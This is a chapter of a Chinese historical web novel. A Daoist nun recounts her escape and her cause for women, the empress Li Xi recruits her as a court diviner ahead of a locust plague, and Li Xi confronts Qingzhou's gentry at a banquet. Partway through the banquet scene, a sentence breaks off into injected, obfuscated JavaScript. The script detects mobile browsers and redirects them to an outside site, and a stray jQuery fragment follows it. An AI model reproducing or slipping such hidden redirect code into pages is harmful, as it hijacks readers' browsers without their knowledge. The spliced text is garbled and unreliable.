想通了的小华晋，并不鲁莽。


    此后的一两年，华晋依然做着她乖顺的小女儿，唯有在祖母每次去山中道观祈福时，她会坚持跟随。即便祖母比起家中其它人，似乎并不那么喜欢她。


    家里人当她纯孝，从未起疑，反倒将这事四处宣扬，为她搏了个孝顺虔诚的好名声，只待及笄时“卖个好价钱”。


    十二岁那年祖母生病，她知道这是机会。


    借着府中混乱的时机，她将两年里攒足的银钱通通赏了几个侍从，买通他们相助，悄无声息地到了从前祖母常去的道观，那里有她花费两年结识的她最信任的女冠道长。


    华晋在道观里住了下来，对外称是为祖母祈福，令家中没有足够的立场强掳她回府。后来祖母病逝，她就为逝者祈福。这样一呆就是三年。


    及笄时她跪在师长前，正式出家成为玄坤。


    自那以后家中人三不五时会闹上山门，但她可以不在意，因为她的女师长们乐得拔出长剑，施展个三两招为她打发这些鸡零狗碎。


    “可偏偏我修的是苍生道，“华晋徐徐道，”修行越深，梦魇便越深。华家造成的那些混乱对当时的我已经只是过往琐碎，但对于世间女子，却是她们中多少人的致命牢笼。我忘不掉幼时姐姐们回门时的眼睛，忘不掉嫡母的哀求，更不敢想在我未曾看到的地方还有怎样的苦难。


    “下山以后，我看到了更多。被殴打的女子，被买卖的女子，被掠夺的女子，被虏役的女子，被虐杀的女子……


    “我试图去救但却发现，世道于她们而言，不过是一个牢笼外，拢了一个更大的牢笼，逃离了夫家，还有世人的口舌；闭目塞听，还有自幼根植于心的伦理纲常。”


    “我发现我根本救不了。”她掩面道，“我自以为的施救和解放，每每反而变成了她们的催命符，成了她们遭受更多摧折的借口。我有时甚至会想，对她们有的人而言，就像她们总爱挂在口中的一样，或许死了也是好事，死了，反而不必如此受折磨。毕竟，这天下间何处不是女子的牢笼呢？她们好像无路可逃，无处可去，无所遁形……可这不公平！可我不甘心！


    “我一度丢了我的道，不知何处能寻。但朝廷张榜，女学来了……我忽而便知，吾道不孤！出路，或许就在朝堂！”


    华晋说完，两人双双默了一阵。


    李希心内动容。她开办女学的个中缘由谓为复杂，为女子谋求出路不过是其中之一。


    但她所需要考量与平衡的太多，甚至诚心说来，天下女子的处境并不是她的第一优先(1)。如今的她还忙着汲汲营营，只为自己一人的野心。


    可若此举能让如同华晋这样的人受此鼓舞，她也不免欣慰。


    良久，她轻叹一声。


    “我有一言，华卿可作思虑。”她也不再绕弯子，“不入女学，直接出仕，你可愿意？”


    华晋一怔，躬身下拜：


    “此为恩赐，岂有不愿！”


    “那好，”李希续道，“我需要与你事先言明，女学的路，虽缓但平稳，而我现在所说的路，迅猛却凶险。其中可能不乏会有违心之事，甚至或许在诸多时候你会怀疑自己或我的所为。但我需要你信我，不得有疑，能做到吗？”


    她看得到华晋脸上的意外，但转眼凝为坚定：


    “能！”


    李希是不信承诺的，但她会相信当下的信念。对于当下而言，这就已经足够了。


    她缓缓笑开：


    “那么华卿，玄坤道长，你会卜算吗？”


    华晋再次没跟上李希的思路，一顿：“我……”


    “你会。”李希笃定道。


    华晋抿唇：


    “对，我会，我……精于此道。”


    ……


    青州出巡这一路，李希花了不小的价钱给华晋造势。


    此前李希说动姚婴，为她破格新设了太卜使的官位，本身已叫她什么都没做便以神算的名头声名鹊起。初时正因着她什么都没做，多添了神秘，反叫外界传言把她说的更加神乎其神。


    而今李希把控着节奏不时让她发一把威，华晋只觉这虚假名头怕是已响彻天下了。


    她并不为此高兴，只觉得满身不自在。却没想到让她更不高兴的还在后头。


    “往后这几日，你多往田地里走走。期间无需多说，只作忧虑状，便是有人问你，也不答。”


    华晋登时一惊。


    “陛下，这和当初说好的不一样！陛下莫不是动了农事的心思。我如今的声名，青州又多信奉天理，只怕我一言一行都要影响此地人心！”


    “正是因为如此。你说巧不巧，”李希放开她的手，淡定地啜了口茶，缓缓道，“这青州天灾，还真要来了。”


    闻言，华晋心头一跳。


    “陛下此话何意？”


    一旁刚换成余白青的“余诃子”紧皱着眉回道：


    “数日前，田思在此地田间捉出了疑似蝗虫虫卵之物，不在少数。因数量之多，那处的佃农也察觉有异，却被拥田的世家压了下来。”


    “田大夫还懂这个？”华晋道，忽又回神一惊，“世家为何如此？倘若真有此事，及早发动佃农黎庶清理田地才是！”


    “因为如今时节正是采桑期。青州世家的豪奢仰赖的是桑蚕业，而非田粮。不同于靠着田地过活的黔首，只要桑蚕业丰收，是无损本就不愁吃喝的豪族们利益的。”余白青解释。


    “我不明白。”华晋道，“倘若对蝗灾置之不理，即便没有太多好处，可对这些豪绅也并无好处。且治理农田也并不耽误采桑啊。”


    李希淡淡地望着她：


    “所谓‘治理农田并不耽误采桑’是有前提的。前提便是这世间当真如文人骚客的文赋里说的，男耕女织，各司其职。明出以为，那是现实吗？”


    华晋沉默了。


    文人骚客何曾懂过黎民百态？往旧朝计，那些能留下文作的最不济也是公子士族，全凭一时兴起颅内狂欢去描绘一个个从不存在的世间，一群想象之中的女与男。


    而事实上，真实的世间更多是女耕女织。


    华晋也明白了李希话中未尽之意，她缓缓道：


    “可我们本不是为救灾而来。”她早有猜测，“我以为陛下此次来青州征集钱粮，本是打算用在他处。”


    李希并未否认，只道：“这几日便辛苦你了。”


    次日夜间，柏扬的宴总算设了起来。


    行宫经历一番布置，越发辉煌豪奢。


    数十丈纵深的院落，食案排成绘彩的釉色长龙，雕刻成云的宫灯闪烁着金色的光，如同点缀得熠熠生辉的鳞片，光华夺目。碧绿的玉盏盛着清亮的美酒，伴着醉人的清香，随价值万金的沉香烟雾盘旋冉冉，似云似雾，如瑶台仙宴。


    世族子弟今夜多穿着常服而来，认真说来，远不合觐见帝王的规制，反倒是前头刚当着州牧大放厥词的庄祈这回装扮得齐整庄重。入内时其余人瞧见了纷纷惶惶，猜测是有什么内情，叫这实权上的青州之首显得如此重视。


    各族入席之后，李希携一行人姗姗来迟，有侍女宦者随侍左右，兵甲卫士身姿凌厉在前开道，甲胄刀剑泛着寒光带来一派肃杀气。


    宴席上顿时噤若寒蝉。各家豪族虽都有豢养私兵，可又何曾见过这正经的杀气凛凛、军容整肃的铁血之师。


    穿着常服的子弟们念着自己来时那点轻视女帝的小心思，当下更如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413234|184013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坐针毡。


    离京太远他们便忘了，再是女子这也是个帝王。


    生杀予夺的帝王！


    若是女帝顾念大局愿意与他们虚与委蛇便罢了，若是她真如他们所想一介女流目光短浅，脾气再坏些，硬要大开杀戒，危险的其实是他们自己……


    李希在白玉矮床上坐下，笑意盈盈，仿佛没察觉到气氛的变化一般。


    “诸公，怎都不说话了？”


    她提杯：


    “朕此行踏过千里，放眼望来还是此处风光正好。此为诸君功业昭昭，朕敬诸位。”说罢便就着玉盏一饮而尽。


    底下人多有戚戚，忙举杯应和。


    李希又道：


    “使君何在？朕初来青州，有劳卿为朕引荐肱骨。”


    开宴之前李希并未同柏扬提过要带甲士入宴，眼下局面叫他也不免忐忑。


    柏扬与庄祈对视一眼，双双起身上前，却不料还未到李希座前三丈内，两侧羽林卫竟齐齐出刀，冷光霎时带出凛凛杀气。


    两人登时石化。


    那头李希却依然笑意盈盈，摆着手朝为首的羽林卫将领道：


    “叔达不得无礼。这都是大魏忠臣，岂能同贼子一般对待，还不速速退下。”


    话音刚落，“唰”的一声，兵戈的银光霎时没入刀鞘，众甲士随即退至李希座后。


    青州众人神情却越发郑重。


    羽林卫中只有一位叔达，即羽林中郎将晁邝晁叔达。此人不到而立的年岁，却是太皇太后姚婴的幼妹之孙，深受姚婴看重。此行姚婴竟遣他来护送李希，可见对女帝的重视。


    由此青州也不得不重新估量往后对女帝的态度了。


    柏扬在李希的招手下硬着头皮继续走近，躬身道：


    “臣挟临淄庄氏庄公觐见陛下！庄公祖上曾任尚书丞，胞弟如今为青州别驾。”


    庄祈上前长拜。


    李希浅笑着免了礼。


    “这一路素有听闻庄公美名，青州有柏卿，有庄公，是百姓之幸。”


    庄祈有美名却是实话。饶是这世家子弟私下多么华奢纵意、声色犬马，明面上都攒着些知礼仁爱的脸面。此中庄祈更为翘楚。


    庄氏年年赴临淄各大道观供养布施，青州玄教如此盛行，庄氏有一半的功劳，以至于这许多年积攒的青州信徒，也多为庄氏拥趸。


    这使得庄氏把控丝织运输更是一呼百应，唯有庄氏发话，各族才能在每年及时募集足够数目的脚夫押运丝织货物。


    但庄氏却并不是青州丝织家业最大的，虽掌握商道命脉，可庄氏本家地处临淄隘口，并不适宜集大片土地养蚕织布。


    青州丝织的翘楚是周氏。庄氏在青州凭信仰、声名与地利一呼百应，周氏则依靠众多佃户与家兵威震青州，二者相互牵制堪为宿敌。


    周氏差只差在祖上官身不丰，以致于柏扬之流也与庄氏走得更近。


    周氏如今的宗主周祉刚过而立，接过亡父的担子不过几年，正是年轻气盛的时节。


    那头柏扬引荐过庄祈，正要领着庄氏一系下一族子弟上前，就听周祉鼻间哼了一声，显然是忍不得这冷落。


    柏扬只作不知，李希却已循声望了过去。


    “卿可是有何不满？”她皱眉。


    周祉面色冷淡拱手道：


    “并无。”


    她也不看他，转头问柏扬：


    “这位是？”


    “回陛下，这位是周氏周公，祖上曾为微臣先任青州州牧，周公之侄为臣辖下典学从事。”柏扬回禀。


    李希点头，转而再对周祉斥道：


    “既无不满，卿自当守礼。当众失态，莫要叫人以为此为青州家风。”